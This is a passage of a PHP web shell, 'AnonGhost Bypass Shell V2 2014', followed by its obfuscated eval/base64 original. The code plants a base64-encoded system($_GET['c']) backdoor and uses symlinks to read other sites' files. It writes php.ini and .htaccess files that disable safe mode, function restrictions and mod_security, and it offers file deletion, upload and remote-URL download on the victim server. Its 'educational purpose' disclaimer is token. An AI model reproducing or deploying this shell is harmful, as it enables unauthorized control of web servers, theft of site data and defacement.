echo '<br><center>Visit <a target="_blank" href="http://'.$_SERVER['HTTP_HOST'].'/.htaccess?c=">'.$_SERVER['HTTP_HOST'].'/.htaccess?c=</a></center>';
}
else{
$o = stripslashes(base64_decode("PD9waHAgc3lzdGVtKCRfR0VUW1wnY1wnXSk7ID8+"));
$a = fopen("gsbtr.php", "w");
fputs($a, $o);
fclose($a);
echo '<br><center>Visit <a target="_blank" href="'.$_SERVER['HTTP_HOST'].'/gsbtr.php?c=">'.$_SERVER['HTTP_HOST'].'/gsbtr.php?c=</a></center>';
}
}
else{ ?>
<br><center><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:25px;color:#ee5500;>Hide Shell</b></center>
<br><div><center>
<form action="" method="get">
<select name="vw">
<option>.htaccess</option>
<option>.php</option>
</select>
<input type="hidden" name="action" value="umpetan">
<input type="submit" value="Execute">
</form></center>
</div>
<?php
}}
if(isset($_GET['action']) && $_GET['action'] == 'simling'){
if(isset($_GET['cook'])){
$a = fopen("oncha.php", "w");
fputs($a, $o);
fclose($a);
}

if(isset($_GET['fp'])){
$filepath = $_GET['fp'];
$sitepath = $_GET['sp'];
$writeblefilepath = 'myfile.txt';
$flib=$sitepath.$writeblefilepath;
@unlink($flib);
symlink($filepath, $flib);
echo readlink($flib)."
";
echo "<textarea cols=30 rows=10>".file_get_contents("http://".$_SERVER['HTTP_HOST']."/".$writeblefilepath)."</textarea>";
@unlink($flib); 
}
else{ ?>
<div>
<br><center><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:25px;color:#ee5500;>Symlink #2</b><br><br>
<a href="?action=simlinge">First time Click here</a><br /><br />
File path:<br />
<form action="" method="get">
<input type="text" name="fp" value="/home/users/public_html/file"><br /><br />
Site path:<br />
<input type="text" name="sp" value="/home/users/public_html/"><br />
<input type="hidden" name="action" value="tools"><br>
<input type="submit" value="Execute" style="border-top:0"><br />
</form></center>
</div>
<?php } ?>

</div><br><center>
<textarea id="source">
<?php
if(isset($_POST['site'])){
$fuckcloud = dns_get_record($_POST['site'], DNS_TXT);
print_r($fuckcloud);
}
echo '</textarea></center>';
}
?>
<?php

if(isset($_GET['action']) && $_GET['action'] == 'mumpet'){
?>
<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Files Manager</span></center><br><div id="box"><br><br>
<form action="" method="get">
<font color="009900" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt"><b>&nbsp;&nbsp;&nbsp;&nbsp;Change directory</b></font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="text" value="<?php if(empty($_GET['go'])){echo getcwd();}else{echo $_GET['go'];} ?>" name="go">
<input type="hidden" name="action" value="files">
<input type="submit" value="Execute">
</form><br>
<form action="" method="get">
<font color="009900" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt"><b>&nbsp;&nbsp;&nbsp;&nbsp;Make directory</b></font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="text" value="name" name="newdir">
<input type="hidden" name="go" value="<?php echo getcwd(); ?>">
<input type="hidden" name="action" value="mumpet">
<input type="submit" value="Execute">
</form><br>
<?php
// delete
if(isset($_GET['delete']) && !empty($_GET['action']) && $_GET['action'] == 'mumpet'){
$file = $_GET['delete'];
// if exist
if(is_dir($file) || file_exists($file)){
// if file del
if(!is_dir($file)){
unlink($file);
echo '&nbsp;&nbsp;&nbsp;&nbsp;<font color="#b0b000">File deleted</font><br><br>';
}
if(is_dir($file)){
function rmdirs($d) {
$f = glob($d . '*', GLOB_MARK);
foreach($f as $z){
if(is_dir($z)) rmdirs($z);
else unlink($z);
}
if(is_dir($d)) rmdir($d);
}
rmdirs($file);
echo '&nbsp;&nbsp;&nbsp;&nbsp;<font color="#b0b000">Folder deleted</font><br><br>';
}
}
else{
echo '&nbsp;&nbsp;&nbsp;&nbsp;<font color="red">File or folder does not exist</font><br><br>';
}
}

// rename
if(isset($_GET['old_name']) && !empty($_GET['rename_file']) && !empty($_GET['action']) && $_GET['action'] == 'mumpet'){
$old = $_GET['old_name'];
$new = $_GET['rename_file'];
// if new file or folder exist
if(is_dir($new) || file_exists($new)){
echo '&nbsp;&nbsp;&nbsp;&nbsp;<font color="red">File or folder exists.</font> <a href="?delete='.$new.'&action=mumpet">delete</a><br><br>';
}
else{
// if file or folder exist
if(is_dir($old) || file_exists($old)){
if(rename($old, $new)){
if(is_dir($old)){
echo "&nbsp;&nbsp;&nbsp;&nbsp;<font color=\"#b0b000\">Folder renamed sucsessfuly to ".$new."</font>, <a href=\"?view=".$new."\">open</a><br><br>";
}
if(!is_dir($old)){
echo "&nbsp;&nbsp;&nbsp;&nbsp;<font color=\"#b0b000\">File renamed sucsessfuly to ".$new."</font>, <a href=\"?view=".$new."\">open</a><br><br>";
}
}
else{
echo "&nbsp;&nbsp;&nbsp;&nbsp;<font color=\"red\">Problem renaming ".$old."</font><br><br>";
}
}
else{
echo '&nbsp;&nbsp;&nbsp;&nbsp;<font color="red">File or folder not found.</font><br><br>';
}
}
}

if(isset($_GET['rename']) && !empty($_GET['action']) && $_GET['action'] == 'mumpet'){
$file = $_GET['rename'];
?>
<form action="" method="get">
&nbsp;&nbsp;&nbsp;&nbsp;Old Name:&nbsp;&nbsp;&nbsp;<input name="old_name" type="text" value="<?php echo $file; ?>"><br>
&nbsp;&nbsp;&nbsp;&nbsp;Rename to:&nbsp;&nbsp;<input name="rename_file" type="text" value="<?php echo $file; ?>"><br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="hidden" name="action" value="mumpet"><br>
<input type="submit" value="Execute">
</form><br>
<?php
}
// new dir
if(isset($_GET['go']) && !empty($_GET['newdir']) && !empty($_GET['action']) && $_GET['action'] == 'mumpet'){
$dir = $_GET['go'];
$new = $_GET['newdir'];
$currect = getcwd();
// if dir is dir
if(is_dir($dir)){
// if dir exist
if(is_dir($new)){
echo '&nbsp;&nbsp;&nbsp;&nbsp;<font color="red">Directory exist.</font> <a href="?del_dir='.$currect.'\'.$new.'&action=mumpet">delete</a><br><br>';
}
else{
if(mkdir($new)){
echo '&nbsp;&nbsp;&nbsp;&nbsp;<font color="#b0b000">Directory created</font><br><br>';
}
else{
echo '&nbsp;&nbsp;&nbsp;&nbsp;<font color="red">Problem creating directory</font><br><br>';
}
if(!is_dir($dir)){
chdir($go);
if(mkdir($new)){
echo '&nbsp;&nbsp;&nbsp;&nbsp;<font color="#b0b000">Directory created</font><br><br>';
}
else{
echo '&nbsp;&nbsp;&nbsp;&nbsp;<font color="red">Problem creating directory</font><br><br>';
}
}

}
}
}
$self = $_SERVER['PHP_SELF'];
$dir = getcwd();
if(isset($_GET['go']))
{
$dir = $_GET['go'];
}
if(is_dir($dir))
{
$handle = opendir($dir);
{
		
showDrives();
?>
<br><br>&nbsp;&nbsp;&nbsp;&nbsp;<b class="teke"><a style="color:#009900" href="<?php echo $_SERVER['PHP_SELF'].'?action=mumpet&go='.getcwd(); ?>/../"> &nbsp;back&nbsp; </a></b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<b class="teke"><a id="teke" style="color:#009900" href="<?php echo $_SERVER['HTTP_REFERER']; ?>">&nbsp; forward&nbsp; </a></b>&nbsp;&nbsp;<br><br>
<?php
if($dir[(strlen($dir)-1)] != '/'){$dir = $dir.'/';}
while (($file = readdir($handle)) != false) {
if ($file != "." && $file != "..")
{
$color = 'red';
if(is_readable($dir.$file))
{
$color = 'yellow';
}
if(is_writable($dir.$file))
{
$color = '#00ff00';
}
if(is_dir($dir.$file))
{
?>
<span id="onmouseover">
<a  style="font-size:12px;font-family:sans-serif;color:#00dd00 <?php echo $color?>;" href="<?php echo $self ?>?go=<?php echo $dir.$file ?>&action=mumpet"><b>[ <font color="#00bb00"><?php echo $file ?></font> ]</b></a>
<font color="#b0b000"><?php echo HumanReadableFilesize(dirSize($dir.$file));?></font>
<font color="yellow"> <?php echo getFilePermissions($dir.$file);?></font> <font color="#fff"> > </font><?php echo getperms($dir); ?>
<a id="za" style="margin-right:30px" href="<?php echo $self;?>?delete=<?php echo $dir.$file;?>&action=mumpet">Delete</a>
<a id="za" style="margin-right:10px" href="<?php echo $self;?>?action=mumpet&rename=<?php echo $dir.$file;?>">Rename</a>
<a id="za" style="margin-right:10px" href="<?php echo $self;?>?zip=<?php echo $dir.$file;?>&action=mumpet">Download</a>
<a id="za" style="margin-right:25px" href="<?php echo $self;?>?action=aplot&path=<?php echo $dir.$file;?>">Upload</a><br>
</span>
<?php
}
//Its a file 
else
{
?>
<span id="onmouseover">
<a style="font-family: Optima, Segoe, Segoe UI, Candara, Calibri, Arial, sans-serif;color: "<?php echo $color?>;" href='<?php echo $self ?>?view=<?php echo $dir.$file ?>'><?php echo $file ?></a>
<font color="#b0b000"><?php echo HumanReadableFilesize(filesize($dir.$file));?></font>
<font color="yellow"><?php echo getFilePermissions($dir.$file);?></font> <font color="#fff">> </font><?php echo getperms($dir.$file); ?>
<a id="za" style="margin-right:30px" href="<?php echo $self;?>?delete=<?php echo $dir.$file;?>&action=mumpet">Delete</a>
<a id="za" style="margin-right:10px" href="<?php echo $self;?>?action=mumpet&rename=<?php echo $dir.$file;?>">Rename</a>
<a id="za" style="margin-right:10px" href="<?php echo $self;?>?zip=<?php echo $dir.$file;?>">Download</a><br>
</span>
<?php
}
}
}
closedir($handle);
}
}
else
{
echo "<p class='alert_red' id='margins'>Permission Denied</p>";
}
?>
<br></div>
<?php
}
?>
<br><br>
<?php
if(!isset($_GET['action']) && !isset($_GET['upload']) && !isset($_GET['get']) && !isset($_GET['turnoff']) && !isset($_GET['view']) && !isset($_GET['db'])){
if($_POST['pateni']=='sikat'){
@error_reporting(0);
$phpini =
'c2FmZV9tb2RlID0gT0ZGDQpTYWZlX21vZGVfZ2lkID0gT0ZGDQpkaXNhYmxlX2Z1bmN0aW9ucyA9IE5PTkUNCmRpc2FibGVfY2xhc3NlcyA9IE5PTkUNCm9wZW5fYmFzZWRpciA9IE9GRg0Kc3Vob3Npbi5leGVjdXRvci5mdW5jLmJsYWNrbGlzdCA9IE5PTkU=';
$file = fopen("php.ini","w+");
$write = fwrite ($file ,base64_decode($phpini));
fclose($file);
$htaccess ='PElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KU2VjRmlsdGVyRW5naW5lIE9mZg0KU2VjRmlsdGVyU2NhblBPU1QgT2ZmDQpTZWNGaWx0ZXJDaGVja1VSTEVuY29kaW5nIE9mZg0KU2VjRmlsdGVyQ2hlY2tDb29raWVGb3JtYXQgT2ZmDQpTZWNGaWx0ZXJDaGVja1VuaWNvZGVFbmNvZGluZyBPZmYNClNlY0ZpbHRlck5vcm1hbGl6ZUNvb2tpZXMgT2ZmDQo8L0lmTW9kdWxlPg==';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
echo '<meta http-equiv="refresh" content="2; url=?'.$pwd.'" /><br><br><br><b><center><span style="font-size:25px; font-family:Fredericka the Great; color:#009900">Bypassed !</span></center></b>';
exit;
}
echo '
<br><center><font face="Tahoma" color="#007700" size="2pt"><b>Disable Function :
</b></font><form method="POST">
<input name="pateni" type="hidden" value="sikat">';

if(''==($func=@ini_get('disable_functions')))
{
echo "<b><font color=#00bb00>No Security for Functions</font></b>";
}else{
echo '<b><font color=#d00000>[ Please Bypass Safemode First! ]</font></b><br><br>';
echo "<div id='boxe'><font color=#ff0000>$func</font></div>";

echo '<br><input type="submit" value="Bypass Disabled Functions">';
}
echo '</center><br>';
echo "<br><br><center><b><font face='Tahoma' color='#007700' size='2pt'>Server IP : </font></b></td><font face='Tahoma' color='#00bb00' size='2pt' />";echo $serverIP = gethostbyname($_SERVER["HTTP_HOST"]);
echo " &nbsp;&nbsp;&nbsp;&nbsp; <b><a href='http://bing.com/search?q=ip:".$serverIP."&go=&form=QBLH&filt=all' target=\"_blank\">Bing Search
 </a></b> &nbsp;&nbsp;-&nbsp;&nbsp;  <b><a href='http://zone-h.com/archive/ip=".$serverIP."
' target=\"_blank\">Zone-H</a></b></center><br>";
echo '<br><center><b class="cont" align="center"><font face="Tahoma" color="#007700" size="2pt">Apache Modules : </font></b>
<select >';
			
if(function_exists("apache_get_modules")) {
foreach (apache_get_modules() as $module) {
echo "<option>".$module."</option>";
}
}else {
echo "<option>NONE</option>";
}
echo '</select></center>';
echo '<br><br><center><span style="font-size:35px; font-family:Fredericka the Great; color:#009900">AnonGhost Bypass Shell V2 2014</span><br><font color="#007700" face="Tahoma, Geneva, sans-serif" style="font-size: 7pt"> is created for Educational Purpose and testing on your own server, and not responsible for any misuse of it.</font><br><font color="#b0b000" size="1pt"></font><br><br><font color="#007700" size="1pt">Coded by </font><font  color="#00bb00" size="1pt">Virusa Worm</font> <font color="#007700" size="1pt">-</font> <font color="#00bb00" size="1pt">Mauritania Attacker</font> | <font color="#007700" size="1pt">Special thankz to : </font><font color="#00bb00" size="1pt">AnonGhost Team</font><br><br><center><div class="logindiv"><table cellpadding="7" cellspacing="2">
<center><br><iframe src="https://www.facebook.com/plugins/like.php?href=https://www.facebook.com/AnonGhostOfficial2&amp;send=false&amp;layout=standard&amp;width=400&amp;show_faces=false&amp;action=like&amp;colorscheme=light&amp;font=arial&amp;height=35" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:350px; height:20px;" allowTransparency="true"></iframe></center></table></div></center><br><br><font color="#007700" size="1pt">Greetz to : </font><br><font color="#00bb00" size="1pt">
AnonGhost - Teamp0ison - ZHC - Mauritania HaCker Team - 3xp1r3 Cyber Army - AnonSec - Robot Pirates - X-Blackerz INC. - Pak Cyber Pyrates - iMHATiMi.ORG - Afghan Cyber Army (ACA) - <font color="#007700" size="1pt">[ </font>Tanpa Bicara - Maniak k4Sur <font color="#007700" size="1pt">[pasangan galo.. lol..]]</font></font></center><br>';	

}


?>
<?php
if(isset($_GET['action']) && !empty($_GET['action'])){
$action = $_GET['action'];
if($action == "phpinfo"){
phpinfo();
}

if($action == 'aplot'){
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Uploader</span><br></center>';
echo '<br /><center><font face="Tahoma" color="#007700" size="2pt">Upload Files From Computer</font><br><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" value="Choose file" size="60" style="border: 1px solid #007700 ; border-radius: 4px; box-shadow: 0px 0px 4px #007700;"> <input name="_upl" type="submit" id="_upl" value="&nbsp;&nbsp;Upload&nbsp;&nbsp;"></form></center><br><br>';
if( $_POST['_upl'] == "Upload" ) {
	if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<br /><br /><center><b>upload sukses.. </b><img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/41.gif"></center><br><br>'; }
	else { echo '<center><font face="Tahoma" color="#ff0000" size="2pt">aseeeemmm.., ora iso upload... </font><img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/24.gif"></center><br>'; }
}
if (isset($_POST['upload_url'])) {$file=$_POST['upload_url_text']; $newfile=$_POST['rename']; if (!copy($file, $newfile)) {echo "failed to copy $file...
";}}
echo '<center><font face="Tahoma" color="#007700" size="2pt">Upload Files From URL</font><br><form method="POST" enctype="multipart/form-data"><input type="hidden" name="action" value="add"><input type="text" name="upload_url_text" size="50"><br><br><font face="Tahoma" color="#007700" size="2pt">Rename to: </font><input type="text" name="rename" size="15" value="worm.php"><br><br><input type="submit" value="&nbsp;&nbsp;Upload File&nbsp;&nbsp;" name="upload_url"></form></center>';
}

if($action == "kill"){
echo '<center>Do you really want to delete this shell ?</center><br><br>';
?>
<center><b><a style="color:#ff0000;" href="?action=killit">Yes</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
<a style="color:#ff0000;" href="<?php echo $_SERVER['PHP_SELF']; ?>">No</a></b></center><br><br>
<?php
}
if($action == "killit"){
$file = $_SERVER['PHP_SELF'];
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('<br><br><b class="tmp"><font color="#ff0000" size="2pt"><center>Shell has been Killed...Take Care And Stay Safe</center></font></b><meta http-equiv="refresh" content="3; url=?".$pwd."" />');
else
echo '<font color="#fff600" size="2pt">unlink error!</font>';
}
if($action == "logout"){
unset($_SESSION['loggedin']);
echo '<center><span style="font-size:20px; font-family:Fredericka the Great; color:#d00000">You Have Logged Out Bro ' .$username. ' ..</span></center><br><br>';}
}}
else{
//IF SOMEONE GET BANNED SHELL WILL SUICIDE LIKE KAMIKAZ wkwkwkkwkwkw xD
if(isset($_SESSION['banned'])){
if($_SESSION['banned'] == '13'){
$file = $_SERVER['PHP_SELF'];
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('<br><br><b class="tmp"><font color="#ff0000" size="2pt"><center>I SUICIDE BECAUSE YOUR STUPID BEHAVIOUR xD ! AND YOU THINK THAT YOU ARE SMART lulZ !</center></font></b><meta http-equiv="refresh" content="3; url=?".$pwd."" />');

}}
?><link href='http://fonts.googleapis.com/css?family=Fredericka+the+Great' rel='stylesheet' type='text/css'><style type="text/css"><style type="text/css">html, body, div, span, applet, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, big, cite, code, del, dfn, em, img, ins, kbd, q, s, samp, small, strike, strong, sub, sup, tt, var, b, u, i, center, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td, article, aside, canvas, details, embed, figure, figcaption, footer, header, hgroup, menu, nav, output, ruby, section, summary, time, mark, audio, video {  margin: 0;  padding: 0;  border: 0;  font-size: 100%;  font: inherit;  vertical-align: baseline; } article, aside, details, figcaption, figure, footer, header, hgroup, menu, nav, section {  display: block; } body {  line-height: 1; } ol, ul {  list-style: none; } blockquote, q {  quotes: none; } blockquote:before, blockquote:after, q:before, q:after {  content: '';  content: none; } table {  border-collapse: collapse;  border-spacing: 0; } ::-moz-focus-inner {  padding: 0;  border: 0; } :-moz-placeholder {  color: #ffffff !important; } ::-webkit-input-placeholder {  color: #ffffff; } :-ms-input-placeholder {  color: #ffffff !important; } body {  font: 12px/20px 'Lucida Grande', Verdana, sans-serif;  color: #404040;  background: #e4e4e4; } input, textarea, select, label {  font-family: inherit;  font-size: 12px;  -webkit-box-sizing: border-box;  -moz-box-sizing: border-box;  box-sizing: border-box; } .login {  margin: 20px auto;  padding: 18px 20px;  width: 200px;  background: #e4e4e4;  background-clip: padding-box;  border: 1px solid #2f2f2f;  border-bottom-color: #2a2a2a;  border-radius: 5px;  background-image: -webkit-radial-gradient(cover, #555555, #333333);  background-image: -moz-radial-gradient(cover, #555555, #333333);  background-image: -o-radial-gradient(cover, #555555, #333333);  background-image: radial-gradient(cover, #555555, #333333);  -webkit-box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), inset 0 0 1px 1px rgba(255, 255, 255, 0.1), 0 2px 10px rgba(0, 0, 0, 0.5);  box-shadow: inset 0 1px rgba(255, 255, 255, 0.3), inset 0 0 1px 1px rgba(255, 255, 255, 0.1), 0 2px 10px rgba(0, 0, 0, 0.5); } .login > h1 {  margin-bottom: 20px;  font-size: 16px;  font-weight: bold;  color: white;  text-align: center;  text-shadow: 0 -1px rgba(0, 0, 0, 0.4); } .login-input {  display: block;  width: 100%;  height: 37px;  margin-bottom: 20px;  padding: 0 9px;  color: white;  text-shadow: 0 1px black;  background: #444444;  border: 1px solid #007700;  border-top-color: #007700;  border-radius: 4px;  background-image: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.35), rgba(0, 0, 0, 0.2) 20%, rgba(0, 0, 0, 0));  background-image: -moz-linear-gradient(top, rgba(0, 0, 0, 0.35), rgba(0, 0, 0, 0.2) 20%, rgba(0, 0, 0, 0));  background-image: -o-linear-gradient(top, rgba(0, 0, 0, 0.35), rgba(0, 0, 0, 0.2) 20%, rgba(0, 0, 0, 0));  background-image: linear-gradient(to bottom, rgba(0, 0, 0, 0.35), rgba(0, 0, 0, 0.2) 20%, rgba(0, 0, 0, 0));  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 1px rgba(255, 255, 255, 0.2);  box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 1px rgba(255, 255, 255, 0.2); } .login-input:focus {  outline: 0;  background-color: #444444;  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 0 4px 1px rgba(255, 255, 255, 0.6);  box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 0 4px 1px rgba(255, 255, 255, 0.6); } .lt-ie9 .login-input {  line-height: 35px; } .login-submit {  display: block;  width: 100%;  height: 37px;  margin-bottom: 15px;  font-size: 14px;  font-weight: bold;  color: #007700;  text-align: center;  text-shadow: 0 1px rgba(255, 255, 255, 0.3);  background: #aeaeae;  background-clip: padding-box;  border: 1px solid #284473;  border-bottom-color: #223b66;  border-radius: 4px;  cursor: pointer;  background-image:-webkit-linear-gradient(top, #eaeaea, #d0d0d0);  background-image: -moz-linear-gradient(top, #eaeaea, #d0d0d0);  background-image: -o-linear-gradient(top, #eaeaea, #d0d0d0);  background-image: linear-gradient(to bottom, #eaeaea, #d0d0d0);  -webkit-box-shadow: inset 0 1px rgba(255, 255, 255, 0.5), inset 0 0 7px rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.15);  box-shadow: inset 0 1px rgba(255, 255, 255, 0.5), inset 0 0 7px rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.15); } .login-submit:active {  background: #eaeaea;  -webkit-box-shadow: inset 0 1px 5px rgba(0, 0, 0, 0.4), 0 1px rgba(255, 255, 255, 0.1);  box-shadow: inset 0 1px 5px rgba(0, 0, 0, 0.4), 0 1px rgba(255, 255, 255, 0.1); } .login-help {  text-align: center; } .login-help > a {  font-size: 11px;  color: #009900;  text-decoration: none;  text-shadow: 0 -1px rgba(0, 0, 0, 0.4); } .login-help > a:hover {  text-decoration: none;  color: #00ff00;text-shadow:#ffffff 0px 2px 7px; } input[type="password"]{
  background-color : transparent; color: transparent;
}</style><link rel="shortcut icon" href="http://www14.0zz0.com/2014/06/04/21/396554394.png" type="image/x-icon" />  <!--[if lt IE 9]><script src="//html5shim.googlecode.com/svn/trunk/html5.js"></script><![endif]-->
<center><img src="http://www4.0zz0.com/2014/08/22/21/544545766.jpg" /><br><font color="#007700" face="Tahoma, Geneva, sans-serif" style="font-size: 7pt">AnonGhost Bypass Shell V2 2014 is created for Educational Purpose and testing on your own server, and not responsible for any misuse of it.</font><br>
<?php echo '<font color="#009900" face="Tahoma, Geneva, sans-serif" style="font-size: 7pt">Kernel Version : </font><font color="#00bb00" face="Tahoma, Geneva, sans-serif" style="font-size: 7pt">';echo php_uname(); echo '</font>'; ?> </center>
  <form action="" method="post" class="login"><img src="http://www11.0zz0.com/2014/08/23/06/983187840.png">
    <span style="font-size:35px; font-family:Fredericka the Great; color:#009900">Login Here</span><br><input type="password" value="mlebu"  name="pass" style="float:right;" >
    <select type="text"  id="user_name"  name="username" class="login-input" placeholder="User login">
<option>AnonGhost</option>
<option>Guest-user</option>
</select>
    <input type="texti" name="pasfek" class="login-input" placeholder="Password">
    <input type="submit" value="Login" class="login-submit">
    <div class="login-help"><a href="">You are not authorized to access?</a></div>
  </form></center>
<?php
}
if(isset($_POST['pass']) && !empty($_POST['pass']) && isset($_POST['username']) && !empty($_POST['username']) ){
$pass = $_POST['pass'];
$user = $_POST['username'];
if($pass > 50){
die("<center><b><font color='#b0b000'>Maybe you are Drunk O.o...".$warn."</font></b></center>
    ");
}
if($pass != $password || $user!=$username){
if(isset($_SESSION['banned'])){
if($_SESSION['banned'] == '1'){
$_SESSION['banned'] = '2';
die("<center><b><font color='#b0b000'>MadaFucka' What are you trying Skid :p ".$warn."</font></b> <b><h3><font color='#ff0000'>BANNED</font></h3></b></center>");
}
if($_SESSION['banned'] == '2'){
$_SESSION['banned'] = '3';
die("<center><b><font color='#b0b000'>".$warn."Go Play in Da Street Script Kiddi u were banned xD</font></b><br><b><h2><font color='#ff0000'>You have been BANNED!</font></h2></b></center>");
}
}
else{
$_SESSION['banned'] = '1';
}
}
else{
$_SESSION['loggedin'] = 'true';
echo "<center><br><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Salam Aleykum " .$username. " . &hearts; </span></center>";
echo "<br><br><center><b><font color='#007700' face='Tahoma' style='font-size: 11pt'>&check; You are Successfully Logged in and Redirecting Now Ghost.... <a href='".$pwd."'> or Click here</a></font></b><meta http-equiv='refresh' content='10; url=?".$pwd."' /></center>";
header('location: '.$_SERVER['PHP_SELF']);
}
}
?>
<span><center>
<?php

if(!isset($_SESSION['loggedin'])){echo $about;}
if (strtoupper(substr(PHP_OS, 0, 3)) === 'UNI'){
echo "user = ".@get_current_user()." | uid= ".@getmyuid()." | gid= ".@getmygid();
} ?>
</center></span><footer id="ftr" style="position:fixed; left:0px; right:0px; bottom:0px; background:transparent); text-align:center;"><font color=#"009900" size="1" face="Courier New">&copy; AnonGhost Bypass Shell V2 2014  | Coded by Virusa Worm - Mauritania Attacker - GrenCoder</font></footer>
<div align="center"><img style="width:100; height:100px ;" src="https://illegallab.com/images/devil.jpg?r=<?=rand(0,16000);?>"></div>
</body>
</html>

Did this file decode correctly?

Original Code


	
<?php
eval(str_rot13(gzinflate(str_rot13(base64_decode('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